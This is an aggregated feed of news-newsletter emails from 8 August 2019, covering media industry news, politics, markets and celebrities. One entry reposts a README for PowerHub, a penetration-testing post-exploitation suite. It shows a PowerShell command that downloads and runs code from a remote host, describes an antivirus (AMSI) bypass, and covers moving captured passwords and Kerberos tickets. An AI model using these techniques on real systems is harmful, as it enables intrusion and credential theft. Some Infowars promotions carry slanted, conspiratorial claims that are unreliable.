| Colleges are cashing in as their rent income soars by millions Posted: 08 Aug 2019 10:37 PM PDT | | | | | | | | | ABOUT THIS EMAIL | | | This email is from Independent.ie part of Independent News & Media PLC. | You received this email because you have signed up for the Independent.ie Daily Digest Newsletter.
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| Управление по образованию и науке администрации города Сочи Posted: 08 Aug 2019 09:43 PM PDT |
| ترك برس - النشرة 09-08-2019 Posted: 08 Aug 2019 09:15 PM PDT |
| PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection Posted: 08 Aug 2019 08:49 PM PDT what is spyware PowerHub- A Post Exploitation Suite To Bypass Endpoint ProtectionPowerHub is a convenient post exploitation tool which aids a pentester in transferring files, in particular code which may get flagged by endpoint protection.During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting. Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team. On top of that, PowerHub comes with a reverse PowerShell, making it suitable for any kind of post-exploitation action. Here is a simple example (grab information about local groups with PowerView and transfer it back): PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('http://192.168.11.2:8000/0'); _____ _____ _ _ _ _______ ______ _ _ _ _ ______ |_____] | | | | | |______ |_____/ |_____| | | |_____] | |_____| |__|__| |______ | \_ | | |_____| |_____] written by Adrian Vollmer, 2018-2019Run 'Help-PowerHub' for helpAmsiScanBuffer patch has been applied.0PS C:\Users\avollmer> lhm powerview[*] /ps1/PowerSploit/Recon/PowerView.ps1 imported.PS C:\Users\avollmer> Get-LocalGroup | pth -Name groups.jsonInstallationPowerHub itself does not need to be installed. Just execute powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via pip3 install --user -r requirements.txt or use a virtual environment: Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install -r requirements.txt to install the depencendies inside the virtual environment. Python2 is not supported.UsagePowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication. The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed. Read ./powerhub.py --help and the Wiki for details. Download PowerHub |
| Our top Story; Facebook's proposal; Trump fumes; NYT rebukes editor; Ronan's book; Biden rips Breitbart writer; Jimmy Fallon & 'Sunday Night Football' Posted: 08 Aug 2019 08:46 PM PDT Fox board stays silent, mysterious ads encourage Fox viewers to 'switch' to OANN, CBS & AT&T reach deal, and this week on the 'Reliable' podcast... EXEC SUMMARY: Hey there, and welcome to the Reliable Sources newsletter! This is Oliver Darcy, in for Brian Stelter, who will be away for a couple of weeks on a well-deserved paternity leave. Which brings me to...
OUR TOP STORY | | Brian is spending his second night at the hospital because his wife Jamie gave birth to their second child, Story Moon Stelter, on Wednesday. Here's a picture of the parents, baby and big sister Sunny.
Brian says Jamie came up with the name and he fell in love with it right away. Two journalists are starting a brand new story... A big congratulations to Brian and Jamie from everyone on the Reliable Sources team, and at CNN! 🎈
And now, to the news...
WSJ: Facebook offers news orgs millions to license content
News organizations might soon be receiving millions of dollars from Facebook in exchange for giving the social media giant the rights to license its content. That is according to a WSJ scoop from Benjamin Mullin and Sahil Patel. "Representatives from Facebook have told news executives they would be willing to pay as much as $3 million a year to license entire stories, headlines and previews of articles from news outlets," Mullin and Sahil reported, citing people familiar with the matter.
Among the outlets WSJ reported have been pitched were ABC News, Dow Jones, The Washington Post, and Bloomberg. NYT's Mike Issac reported NYT is in talks. And a source told me that BuzzFeed has also been approached. WSJ reported that it was not clear whether any news organization has cemented a deal with the social media company. The licensing agreement would be for Facebook's forthcoming news tab, which a spokesperson confirmed to CNN is slated to launch in the fall.
Calls have been growing for Big Tech to pay up
Media executives have called for Facebook and other Big Tech companies to pay outlets for the content they produce. One of the main driving forces behind this? Media mogul Rupert Murdoch. Murdoch called on Facebook to pay publishers back in early 2018. "If Facebook wants to recognize 'trusted' publishers then it should pay those publishers a carriage fee similar to the model adopted by cable companies," Murdoch said back then in a statement.
BuzzFeed's Peretti calls the news "exciting"
BuzzFeed chief Jonah Peretti also called on Facebook in 2018 to pay publishers. So I decided to check in with him on Thursday and see what he thought of the WSJ report. In a statement, Peretti said, "Our society needs financially sustainable, globally accessible, high quality journalism on the big tech platforms. It is exciting to see Facebook make progress in this direction. We'll continue to do our part building a strong and diversified business to support the award winning work of BuzzFeed News."
But there is some skepticism
Of course, given what previously happened after Facebook stopped paying for live video, some publishers will naturally be wary of this proposal. WSJ quoted one person familiar with the deal saying, "It's asking a whole lot of publishers in terms of asking us to commit to something that none of us have any idea if it's going to work." I also saw such skepticism expressed on Twitter. Deadspin editor Barry Petchesky put it this way: "Morons who run digital media, I beg of you: Please don't fall for this for the 18th time." Questions I have
-- Which other news organizations has Facebook approached?
-- Has Facebook approached partisan news outlets? If so, which ones?
-- How is Facebook determining which outlets to approach?
-- Who will sign on to this deal? Who won't?
-- Five years from now, what will the Facebook news tab look like?
FOR THE RECORD, PART ONE
-- The White House will host Big Tech on Friday for an online extremism meeting. Tony Romm reports there is some skepticism about it... (WaPo)
-- Lloyd Grove takes you "inside the sudden, brutal death" of the Pacific Standard... (Daily Beast)
-- This is a must-read from The Guardian: Documents reveal how chemical company Monsanto worked to "monitor and discredit journalists and activists..." (The Guardian)
Fox board stays silent as Tucker vacations amid controversy
The seven members of Fox Corporation's board of directors continued to remain silent on Thursday -- two days after Tucker Carlson used his Fox News prime time program to falsely claim that the white supremacy problem in America is a "hoax."
On Thursday morning, I again reached out to Fox Corp. spokesperson Hope Hicks, asking if Rupert Murdoch, Lachlan Murdoch, Paul Ryan, or Jacques Nasser had any comment. I didn't hear back. I also reached out to former Telemundo CEO Roland Hernandez, Formula One chief executive Chase Carey, and Aragon Global Holdings chief executive Anne Dias. All remained silent...
What advertisers are saying
Nestlé, which has advertised Proactiv on Carlson's show in recent months, told THR's Jeremy Barr on Thursday that it doesn't plan on doing so in the future. "Nestlé does not currently advertise on Tucker Carlson Tonight nor do we have any plans to purchase ads on the show in the future," a spokesperson told Barr.
Barr also reported that HelloFresh, which he said advertised on Carlson's Wednesday night show, said the advertisement was "placed through a remnant inventory advertising purchase." The HelloFresh spokesperson told Barr "this remainder buy is now complete and the ad is no longer running."
>> Meanwhile, Long John Silver's told Angelo Carusone, the president of the progressive group Media Matters, that it will no longer advertise on Fox, after the company did not renew its contract in April...
Carl Cameron: "It's not journalism.... it's horrible"
Former Fox News chief political correspondent Carl Cameron appeared on CNN International Thursday and slammed Carlson, noting what the prime time host had claimed "is just not accurate." Cameron added, "It's just not journalism. It is opinion making. It is entertainment. And unfortunately it's an entertainment that can catch on...It's horrible and it's not right and it's good that he's on a vacation whether it was intended or not."
"This is formal impeachment proceedings"
House Judiciary Committee Chairman Jerry Nadler used clear language on Thursday when talking about his committee's inquires into Trump: "This is formal impeachment hearings," Nadler told Erin Burnett. Nadler told Burnett that his committee is "gathering the evidence" and "we will at the conclusion of this, hopefully by the end of the year vote to vote articles of impeachment to the house floor or we won't." Nadler also made an appearance on Rachel Maddow's show where he further discussed his committee's probe...
>> Related story from Manu Raju and Jeremy Herb: "Nadler presses ahead with impeachment probe as Pelosi keeps door open..."
Trump fumed about media coverage of visits to shooting sites
Trump might have put on a positive face in public, but he was unhappy with his trip to El Paso and Dayton, Kaitlan Collins reported on Thursday. Specifically, and predictably, Trump fumed over the media coverage while aboard Air Force One on the way back to DC.
...lashed out at staff for keeping cameras away
Trump loves the limelight, and he apparently wanted to be in it as he traveled to visit with the the victims and first responders of the recent mass shootings. A source told Collins that Trump lashed out at staff for keeping the cameras away from him during the hospital visits in both cities. According to Collins' source, Trump complained he wasn't receiving enough credit.
But one camera found its way into the room | | Meanwhile, cell phone video taken of Trump inside the El Paso hospital shows the president boasting about his crowd size, while mocking Democratic presidential candidate Beto O'Rourke. Trump said he had a "packed" rally when he visited Texas. "And then you had this crazy Beto," Trump said. "Beto had like 400 people in a parking lot, they said his crowd was wonderful."
>> Collins reported in her story that aides "had feared a moment like the one that is now going viral — where the President appears to focus on himself in front of those still recovering from a tragedy..."
Cooper: "It's not how a president should behave"
Anderson Cooper addressed Trump's behavior during his "Keeping Them Honest" segment. "This is just not normal," Cooper stressed.
"It's starting to seem normal, but it's not, and it's not how a president should behave." Cooper then played clips of former presidents consoling the nation in times of crisis. "That seems like a long time ago, that kind of language," Cooper observed.
Andrea Stanley on this week's "Reliable" podcast
Before heading to the hospital with Jamie, Brian sat down with Andrea Stanley, features editor at Cosmopolitan, to discuss her brand new story: "Is It Possible to Stop a Mass Shooting Before It Happens?"
Stanley convinced a top-secret investigator, who she identifies only as "K," to talk with her on condition of anonymity. "K" infiltrates online hate groups to monitor the behavior of men who display signs of violence.
Stanley talked about her reporting process, Cosmo's coverage of this topic, and more... Listen to the podcast via Apple Podcasts or your favorite podcast app...
FOR THE RECORD, PART TWO
-- "Publishers including Vice Media and The Stylist Group say they've gotten traffic and, more importantly, revenue lifts from Apple News in the last three months..." (Digiday)
-- Axios made three "key hires" to help expand to subscriptions and other products... (Business Insider)
-- Viacom and CBS both posted "better-than-expected financial reports" on Thursday... No word on a merger yet, though... "Insiders say a decision is likely a week or more away," Paul Bond wrote. "Executives from CBS and Viacom both said on their earnings calls that they would not discuss merger speculation..." (THR)
NYT rebukes Weisman: He's "repeatedly displayed poor judgement"
Jonathan Weisman, NYT's deputy Washington editor, was rebuked by NYT on Thursday after telling author Roaxane Gay that she owed him an "enormous apology" for mocking a tweet of his. "Jonathan has repeatedly displayed poor judgment on social media and in responding to criticism," a Times spokesperson said. "We're closely examining what to do about it."
The backstory
Here's what happened: Weisman tweeted on Wednesday that the Justice Democrats were backing a candidate "seeking to unseat an African-American Democrat." He seemingly failed to realize the candidate was black. Gay then mocked him for the tweet.
That's when things took a strange turn. According to screen shots posted by Gay, Weisman emailed her -- and her assistant -- saying she owed him an "enormous apology" for mocking him. "I am legitimately shocked," Gay wrote.
A pattern
This isn't the first time Weisman has found himself facing a barrage of criticism. Late last month, he was forced to delete a tweet which suggested Rashida Tlaib and Ilhan Omar weren't truly from the Midwest...
Ronan Farrow's "Catch and Kill" to hit stores in October
Ronan Farrow's forthcoming book, "Catch and Kill," finally has a release date. According to a listing that was recently posted to Amazon, the book will come out on October 15.
The listing, which went up recently, but had not been noticed, describes the book as "both a spy thriller and a meticulous work of investigative journalism." It promises to reveal "devastating new stories about the rampant abuse of power." Farrow, of course, is expected to detail his interactions with NBC News executives in the book. Here's my full story...
Mysterious ads encourage Fox viewers to "make the switch" to OANN
This is as fascinating story. Lachlan Markay reported Thursday that two Facebook pages have popped up and spent $70,000 on ads encouraging older Americans to "make the switch" from Fox News to the far-right OANN.
"It's not immediately clear who's behind the two pages, which haven't posted anything on their actual pages beyond identical profile photos of bald eagles," Markay reported, adding that the ads "come in the midst of a sustained OANN campaign to poach viewers from Fox by simultaneously promising more conservative and more fact-based news broadcasts."
Biden unloads on Breitbart writer
| | Joe Biden went off on a Breitbart writer on Thursday after the writer, Joel Pollak, accused him of misquoting Trump. Confronting Biden at the Iowa State Fair, Pollak claimed Trump "never called Nazis very fine people."
Biden responded, "No, he called all those folks who walked out of that -- they were neo-Nazis shouting hate, their veins bulging." Pollak attempted to push back, but Biden wasn't having it. "No, he did not! He said he walked out and he said, let's get this straight, he said they were very fine people in both groups. They are chanting anti-Semitic slogans, carrying flags."
>> You can watch video of the confrontation here via Politico reporter Natasha Korecki...
FOR THE RECORD, PART THREE
-- News Corp says WSJ now has a record 2.6 million subscribers, with 69% of the subscribers being digital-only... (Business Wire)
-- One of Thursday morning's big stories came from college journalism student Sasha Urban, reporting for BuzzFeed through the Beacon Project. Urban reported that 48 patients said a USC doctor sexually abused them... (BuzzFeed)
-- Colby Hall writes that Bill de Blasio's interview with Sean Hannity "shows exactly why Democratic candidates should go on Fox News..." (Mediaite)
Google will surface podcast episodes in search
This is very neat. Google started on Thursday to return results for podcast episodes in search. "We'll surface these episodes based on Google's understanding of what's being talked about on a podcast, so you can find even more relevant information about a topic in audio form," the company said in a blog post. "Soon, you won't necessarily need the term 'podcast' in your search to see episodes, making podcast discovery simpler across search."
>> Of note: Google said it will "soon add the ability for publishers to specify where you can listen to their podcasts, such as other apps or websites. This means you'll be able to discover podcasts that may be exclusively available by purchase or subscription..."
CBS and AT&T reach new deal to end 20-day blackout
If you're an AT&T customer, good news for you: the company has struck a new carriage deal with CBS, ending a 20-day blackout. "CBS and AT&T regret any inconvenience to their customers and viewers and thank them for their patience," CBS and AT&T, which owns CNN's parent company, said in a joint statement. Jordan Valinsky has the full story here for CNN Business...
iHeart radio stations to play "Sunday Night Podcasts"
Katie Pellico writes: iHeartMedia is launching "Sunday Night Podcasts," utilizing 270 of its radio stations to play prerecorded podcasts on their airwaves. The Verge's Ashley Carman reports, "Station programmers can decide which iHeart show they broadcast, which will likely be chosen based on the station's audience, and when to play it" on Sundays.
>> This comes a day after radio broadcast giant Entercom announced it was spending nearly $70 million to acquire two podcast companies, Pineapple Street Media and Cadence13. Carman remarked, "It wouldn't be surprising if Entercom began airing its own podcasts on its more than 235 radio stations across the US, too."
FOR THE RECORD, PART FOUR
-- Willie Nelson will continue his tour after it was initially canceled due to a breathing problem... (CNN)
-- This is super cool: MLB is "planning to play a special game at the location of the 1989 Kevin Costner feature film Field of Dreams in Iowa..." (THR)
-- "Social media is distorting the representation of women in Africa. Here's what can be done about it..." (NiemanLab)
-- A correction: In Wednesday's edition of the newsletter, I misspelled Marty Baron's name. Apologies for that!
IFC to honor the late D.A. Pennebaker
IFC plans to celebrate the work of D.A. Pennebaker, the legendary documentary filmmaker who died earlier this month. IFC plans on Friday night to repeat "two episodes of its series Documentary Now! that were based on Pennebaker films," a release said. More info here...
| |
Jimmy Fallon to host shows following "Sunday Night Football"
CNN's Whitney Friedlander emails: NBC is not joking around with its "Sunday Night Football" lineup. Starting September 8, it will air a total of five telecasts of "The Tonight Show Starring Jimmy Fallon" after "Sunday Night Football." It will also air live broadcasts throughout the week of September 23.
>> A point from Friedlander: NBC has tried tactics like this to boost "Fallon" viewership before, such as airing live episodes after Super Bowl LII and Super Bowl XLIX and after June's presidential primary debates.
"GLOW" shines a less flattering light on life during the 1980s
Brian Lowry emails: The 1980s nostalgia of "Stranger Things" has been very, very good for Netflix, but another series rooted in that period, "GLOW," shines a much less flattering and thus more provocative light on the decade.
Season 3 marks the show's move to a new venue in Las Vegas, but continues to explore themes like homophobia, the AIDS crisis, open discrimination against women and people of color, and other topics more serious than bad hairdos and hanging out at the mall.
"How TV Tuned In More Ad Dollars"
Lowry emails another: Variety's Brian Steinberg breaks down the upfront advertising market, estimating that the major networks have again continued to defy gravity, securing in the neighborhood of $10 billion in advance ad commitments for the new TV season.
As Steinberg writes in his "How TV Tuned In More Ad Dollars" piece: "Why are advertisers relying even more on top-priced TV than they have in the past? Part of it appears to be disillusionment with aspects of digital media."
"The Kitchen" cooks up a half-baked mob drama
Lowry emails one more: Melissa McCarthy, Tiffany Haddish and Elisabeth Moss are three of the most in-demand actresses around, but they're ill-served by "The Kitchen," a half-baked mob drama. Adapted from a DC/Vertigo graphic novel and set in Hell's Kitchen during the 1970s, even the topnotch cast is handcuffed by dialogue that sounds like something out of a '30s gangster movie. Read Lowry's full review here...
| | Thank you for reading. I always enjoy your feedback, so send me a note via email or find me on Twitter... See you tomorrow!
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| Summer break under siege Posted: 08 Aug 2019 04:37 PM PDT TicToc Tonight | Greetings, TicToc readers! Step into tomorrow smarter with your Thursday debrief: But first...  McConnell pressured on gun-control It seems Mitch McConnell can forget about a relaxing summer break. As Democrats put the heat on the Senate majority leader to take up gun-control legislation, protesters are showing up to his front door in Kentucky while he's on August recess. And in the wake of two mass shootings, the spotlight isn't going away. House Speaker Nancy Pelosi asked Trump on Thursday to order the Senate back to Washington to vote on gun-control legislation. McConnell said he's open to considering background check expansions but indicated he wouldn't call the senators back. Highly quotable "The cycle is accelerating:" A UN report warned that climate change is degrading the land, making food more expensive. "Maybe even worse:" Joe Biden said Trump's rhetoric is more harmful than a white supremacist because he encourages and speaks to them. "Terrorism and separatism:" Indian PM Modi said he stripped Kashmir of its statehood and constitutional status to free the disputed region. $ignificant figures 300: About how many people were freed after ICE agents arrested 680 people, most of them Latinos, in a sweeping sting in Mississippi. 5: How many years ago Michael Brown was fatally shot by a white police officer in Ferguson, Missouri, a seismic moment in U.S. race relations. 39: How many ancient galaxies astronomers discovered in deep space—and they're massive.  What's good "OK, we have to use our superpowers." Actor Danny Trejo can add real-life hero to his resume after he helped rescue a baby trapped in an overturned car in Los Angeles. He said he crawled into the wrecked vehicle from one side, and along with another bystander, pulled it to safety.  Like what you're reading? Spread the joy. Watch your inbox for our next newsletter tomorrow.
-Andrew Mach | |   |
| Dem Candidate Doxxed Trump Donors Because He Wants People to “Think Twice" About Supporting President Posted: 08 Aug 2019 04:16 PM PDT | | | "What I would like for them to do is think twice...," he stated. Kit Daniels | Infowars.com | | | | | Ben Warren | Infowars.com | | | Adan Salazar | Infowars.com | | | | | Kaitlin Bennett | Infowars.com | | | | Kelen McBreen | Infowars.com | | | Dan Lyman | Europewars.com | | | Kaitlin Bennett | Infowars.com | | | Steve Watson | Infowars.com | | | |  |
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| Stalking the Impossible Burger Posted: 08 Aug 2019 02:19 PM PDT Evening Briefing The asset management industry minted a generation of titans, people such as Peter Lynch, Bill Miller and Bill Gross. Now, it's facing an existential crisis as high fees and subpar returns drive investors into ultra-cheap funds. —Josh Petri Here are today's top storiesPresident Donald Trump's fundraising swing through the Hamptons is creating headaches for high-dollar donors like developer Stephen Ross. Discontent in farm country over Trump's escalating trade war with China erupted into the open Wednesday when his agriculture secretary was confronted at a fair in rural Minnesota. Avoiding digital snoops requires more than just throwing money at the problem. But spending on privacy gadgets can still be fun. As digital attacks multiply, companies are scrambling to hire scarce security experts. Those with the right skills command sky-high salaries. The New Jersey family that bought a $1.4 million dream home only to find the place came with a stalker called "The Watcher" sold the residence at a loss. They also sold their story to Netflix. The contraceptive pill debuted almost 60 years ago, but there's been very little innovation in birth control for women since then. Why? Big pharma doesn't see a big payoff. What's Joe Weisenthal thinking about? The Bloomberg news director thinks the current market is starting to feel similar to 2011: Lots of concern emanating out of Europe, U.S. politics in chaos, a surging Swiss franc and a strong rally in precious metals. What you'll need to know tomorrow What you'll want to see in Bloomberg GraphicsImitation meat made by Impossible Foods has become an unexpected craze, reaching more than 10,000 restaurant menus this summer (by the company's count). In a sign of both popularity and supply-chain problems, the Impossible Burger is sometimes impossible to obtain due to a months-long shortage. More than 30% of locations listed on Impossible's website weren't serving it last month, according to a survey conducted by Bloomberg News. Now, as Impossible moves onto menus at more than 7,000 Burger Kings in the U.S., we want you to help us keep tabs on the spread of the plant-based patty. Welcome to Bloomberg's Burger Stalker.  Like Bloomberg's Evening Briefing? Subscribe to Bloomberg.com. You'll get our unmatched global news coverage and two premium daily newsletters, The Bloomberg Open and The Bloomberg Close, and much, much more. See our limited-time introductory offer. Worried about making enough money? Getting that dream job? Take a moment to try the Bloomberg Work Wise career calculator and learn how your salary stacks up, and how much your dream job might pay. Download the Bloomberg app: It's available for iOS and Android. | |   |
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| A global recession is probably already here Posted: 08 Aug 2019 02:00 PM PDT | You can only really a see a recession in the rearview mirror, but odds are good the world is in one now. Oil prices, interest rates and trade flows all point to a sharp slowdown. David MacNaughton, who was appointed to the coveted diplomatic role in 2016, announced Thursday that he will return to Toronto to work in the private sector. The news that shattered a million hearts came from Moir himself on Wednesday night. He and Virtue were in his hometown of Ilderton, Ont. to receive plaques from Canada’s Walk of Fame. McDonald’s is facing stiff competition in the fast-food industry from companies that have recently embraced plant-based burger patties. But instead of jumping on the vegan craze, McDonald’s is doubling down on their “beef focus.” You're all set. Have a great day! HuffPost is now part of Verizon Media Group. On May 25, 2018, we introduced a new privacy policy, which explains how your data is used and shared. Learn more.Follow HuffPost Canada on Facebook, Twitter, Instagram
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| Always look on the bright side of trade wars Posted: 08 Aug 2019 01:55 PM PDT Bloomberg Opinion Today Today's Agenda  Everything Will Be Fine? Maybe? Regular readers know our columnists, like the markets, have been worried lately about the trade war and collapsing interest rates and other such troubles. But there are, of course, more optimistic views. It is our civic duty to explore them now. For one thing, President Donald Trump's recent threat to slap tariffs on $300 billion in Chinese goods was unnerving partly because these goods would include consumer products. Previously shielded American consumers, the precious lifeblood of the economy, might suffer. But Conor Sen suggests the impact won't be all that bad. A 10% tax on $300 billion in goods amounts to just $30 billion, or a minor bump in gasoline prices, Conor calculates. That's not great, but manageable. Of course, a trade war affects far more than just one country's consumers, which is why markets are pricing in a global recession, driving interest rates lower and "inverting" "yield curves," or making long-term rates lower than short-term ones. In many cases, interest rates are even negative: You pay borrowers for the privilege of lending them money! This may seem like real wrath-of-God type stuff, but it's not all that weird when you consider the need for safe investments is rising as the world's population ages, writes Karl Smith (echoing a Pimco note we mentioned yesterday). It's simple supply and demand. It's also worth asking if bond traders have gotten ahead of themselves in pricing in a recession, writes Robert Burgess. Are things really so bad? There are certainly signs bonds may be approaching one of those last-puke moments you see at the end of massive bubbles, writes John Authers. Then again, interest rates getting all discombobulated, with yields going negative and curves inverting, can do real economic damage, hurting banks and discouraging lending, warns Marcus Ashworth. This has already happened in Europe, where the ECB is nonetheless getting ready to drive rates even more negative. And if Trump had his way, the Federal Reserve would be cutting rates more aggressively. Tim Duy is of the glass-half-empty set and agrees the Fed should get more serious about growing global headwinds. But hey, at least it's a good time to refinance a mortgage. Don't Underestimate China's Currency Threat Maybe it's just easy to be optimistic today because China held its fire in the currency war, setting its yuan target a little higher than traders expected. This passes for wildly good news these days, so stocks rallied again and have mostly erased their deep losses on Monday, when it seemed China was willing to hurt its yuan a lot more. Trump may take this as a sign China fears chasing away capital, as happened during the most recent big yuan devaluation, three years ago. But Shuli Ren writes China is in much better shape than in 2016, and capital-flight risk is a lot lower. Trump shouldn't underestimate just how much currency pain China can endure. Further Currency-War Reading: China can't quit the dollar just yet, but it has slowly been preparing for its emancipation. – Leonid Bershidsky Unicorns Find Life Outside Magic Forest Difficult Twenty years ago, the terrifying market bubble was not in bonds but in technology stocks. How times have changed. Lyft Inc., Uber Technologies Inc. and other young tech companies once celebrated as "unicorns" – private startups with billion-dollar valuations – have gotten chilly receptions in the stock market, notes Shira Ovide. Early backers of these companies got rich as they grew quickly, but public investors are less than thrilled with their Underpants Gnome business models ("Collect Underpants + ? = Profit"). Maybe markets don't always make the same mistakes twice! This trend is certainly doing no favors for Masayoshi Son's SoftBank Vision Fund, writes Tim Culpan. Losses on such investments as Uber and Slack Technologies Inc. could hurt its numbers in the current quarter. Further Tech Reading: Modi, BoJo Make Big Mistakes By stripping India's majority-Muslim state of state of Jammu and Kashmir of autonomy, Prime Minister Narendra Modi is making a huge mistake, writes Bloomberg's editorial board. Modi has framed the move as a way to absorb the state into the rest of India, creating economic opportunities for its people. In practice, he is further stifling and enraging them. It will backfire. Speaking of big mistakes: Boris Johnson sure does seem serious about following through on his threat of a no-deal Brexit. Bloomberg's editorial board would just like to remind everybody such a Brexit would still be an epic disaster, and the country is still not nearly ready for it. Telltale Charts Saudi Arabia has once again hinted it will do whatever it takes to support oil prices. Liam Denning suggests it doesn't have that power any more.  Adidas seems to realize it needs to do more than make clunky dad shoes, but the race to victory will be a marathon, writes Andrea Felsted.  Further Reading Kraft Heinz Co. is in much worse shape than we realized. – Sarah Halzack A year on, sanctions on Iran are slowly having an impact. We should give them more time to work. – Bobby Ghosh People are worrying about the containment structure around Chernobyl, but Ukraine has managed it well so far. – Leonid Bershidsky Here's how to tell if an American deal with the Taliban is a disaster or a success. – Meghan O'Sullivan What happens in Hong Kong will affect Taiwan. – James Stavridis A mail-order DNA test is no substitute for a doctor's advice. – Faye Flam ICYMI New Jersey house stalked by "The Watcher" finds buyer, Netflix deal. Area reporter tries hiding from Silicon Valley. FINALLY: An Impossible Burger tracker. Kickers As humans degrade their environments, snakes are increasingly eating humans. (h/t James Greiff) Area woman cuts back on social media with a shock bracelet. (h/t Scott Kominers) The dream of open borders is alive in Svalbard. Vulture's best TV shows of 2019 so far. Note: Please send shock bracelets and complaints to Mark Gongloff at mgongloff1@bloomberg.net. New to Bloomberg Opinion Today? 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| Double beach date! Gwyneth Paltrow and Brad Falchuk bond with Dakota Johnson and Chris Martin Posted: 08 Aug 2019 01:40 PM PDT | If you are having trouble viewing this email click here |  | | 8/8/19 |  | | | |  | | | FRIENDLY EXES
Double Beach Date! Gwyneth Paltrow and Brad Falchuk Bond with Dakota Johnson and Chris Martin | | | | The foursome was spotted in the Hamptons, New York on Monday | | | | |  | | | STAR TRACKS
Katy Perry Performs in L.A., Plus Serena Williams, Amy Poehler & More | | | | From Hollywood to New York and everywhere in between, see what your favorite stars are up to | | | | | | | | |  | | | SO RELATABLE
See Kate Middleton Jump Into Mom Mode After Princess Charlotte Playfully Sticks Out Her Tongue! | | | | Kate Middleton and Prince William faced off in a charity sailing race on Thursday, with their two eldest children watching the action from a boat | | | | | | | | |  | | | BIRTHDAY BEHAVIOR
All Aboard Kylie Jenner's Luxe Birthday Cruise! Travis Scott, Sofia Richie & More Party on Yacht | | | | Kylie Jenner will celebrate her 22nd birthday on Saturday | | | | |  | | | RIP
Southern Charm Star Kathryn Dennis' Mom Allison Calhoun Dennis Dies at 59 | | | | "My mom's my best friend. She stuck by me through so much. I don't know what I would do without her," Kathryn Dennis previously told PEOPLE | | | | CLICK HERE FOR MORE NEWS | | | | | | | | | | Meredith Corporation, 1716 Locust Street, Des Moines, IA 50309
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| .:: پایگاه اطلاع رسانی حیات-صفحه اصلی ::. Posted: 08 Aug 2019 01:22 PM PDT |
| NEWS ALERT: Air Force mulls practice physical fitness tests: 'No harm, no foul' Posted: 08 Aug 2019 11:58 AM PDT NEWS ALERT: Air Force mulls practice physical fitness tests: 'No harm, no foul' Airmen who are skittish about regular physical fitness tests may soon be allowed practice attempts with "no harm, no foul" results. | |  The Washington Times | NEWS ALERT | | | | | Thursday, August 8, 2019 2:46 PM EDT | | | | | NEWS ALERT Airmen who are skittish about regular physical fitness tests may soon be allowed practice attempts with "no harm, no foul" results. Read More > | | | | | | | | | | | | | | | | | | If you don't want to receive these emails unsubscribe | | 3600 New York Avenue NE Washington, DC 20002 | |   |
| Most Social: 'Oh well': Dayton mayor confused by Trump's criticism of how she described his visit Posted: 08 Aug 2019 10:01 AM PDT | White House said President Donald Trump was treated like a "rockstar" and criticized several Ohio lawmakers for "mischaracterizing" the visit. | |    |
| Nucléaire, millénarisme, identités... Août en perspective Posted: 08 Aug 2019 11:30 AM PDT Pour les extasiés du millénarisme et les déboutés du numérique, le progrès technique suscite fascination et effroi. René Dumont accusait déjà en 1974 le libéralisme de la « civilisation de gaspillage » de mettre en péril l'humanité. Une écologie politique loin des discours « effondristes » actuels. Obsession raciale en Mauritanie, discours identitaires et préjugés médiatiques aux États-Unis... Une sélection d'archives en rapport avec le numéro du mois. Peut-on encore  Sélection d'archives Pour les extasiés du millénarisme et les déboutés du numérique, le progrès technique suscite fascination et effroi. René Dumont accusait déjà en 1974 le libéralisme de la « civilisation de gaspillage » de mettre en péril l'humanité. Une écologie politique loin des discours « effondristes » actuels. Obsession raciale en Mauritanie, discours identitaires et préjugés médiatiques aux États-Unis... Une sélection d'archives en rapport avec le numéro du mois.
Julien Brygo - pages 1, 18 et 19 Sera-t-on bientôt contraint de faire scanner son téléphone portable ou d'utiliser Internet pour prendre le métro, le train, l'avion, faire ses courses ou payer ses impôts ? Pas de (...) Evgeny Morozov - août 2014 Eric Klinenberg - janvier 2007
Kan Naoto - pages 1 et 23 À un an des Jeux olympiques de Tokyo, le Japon veut montrer au monde que la région de Fukushima, dévastée par le raz de marée et la catastrophe atomique du 11 mars 2011, retrouve (...) Philippe Pataud Célérier - avril 2018 Denis Delbecq - juillet 2011 Philippe Rekacewicz - juillet 2000
Jean-Baptiste Malet - page 3 Agit-on mieux le dos au mur, quand il n'y a plus d'échappatoire, quand tout bascule ? C'est la thèse défendue par certains courants écologistes : l'humanité aurait détruit son (...) Ian Angus - (« Environnement, climat : désordres et combats », Manière de voir nº 144, décembre 2015 - janvier 2016) René Dumont - octobre 1988 Rick Fantasia - pages 6 et 7 Les universités américaines sont devenues les bastions privilégiés d'une analyse identitaire de la société. Les conflits ordinaires qui y surgissent sont donc souvent interprétés (...) Walter Benn Michaels - février 2009 Claude Julien - novembre 1965  © Le Monde diplomatique août 2019  |
| SPORTSROOM.GR - Ενημέρωση για δυνατούς παίκτες! Posted: 08 Aug 2019 09:20 AM PDT |
| NRA Warns Trump Over Background Checks Posted: 08 Aug 2019 09:21 AM PDT Tune into the Live Show | | Hey, it’s Me, Alex Jones! Tune in Now! The NRA has expressed deep concern over President Trump’s openness to endorsing extensive background checks in the wake of two mass shootings. Trump’s base is on edge over his and the GOP’s latest promotion of the “red flag” laws that would spark unconstitutional gun confiscations! Don’t miss a minute of my exclusive message to the White House!Watch today’s LIVE BROADCAST to also learn about Big Tech’s latest overreach in elections, private advances in space travel, economists’ latest recession fears, and more! Tune into infowars.com/show Monday-Friday from 11AM-3PM Central and Sunday 4-6 PM Central to watch the most banned broadcast in the world with breaking news and commentary exclusively from me and other great Infowars hosts and guests!Tell your friends and family to tune into infowars.com/show to watch today's broadcast and beat the Big Tech censors! As Infowars faces unprecedented censorship, it's more important than ever that you spread this link. Remember – if you’re receiving this email, you are the resistance. | | |  |
| Présentation Posted: 08 Aug 2019 08:04 AM PDT |
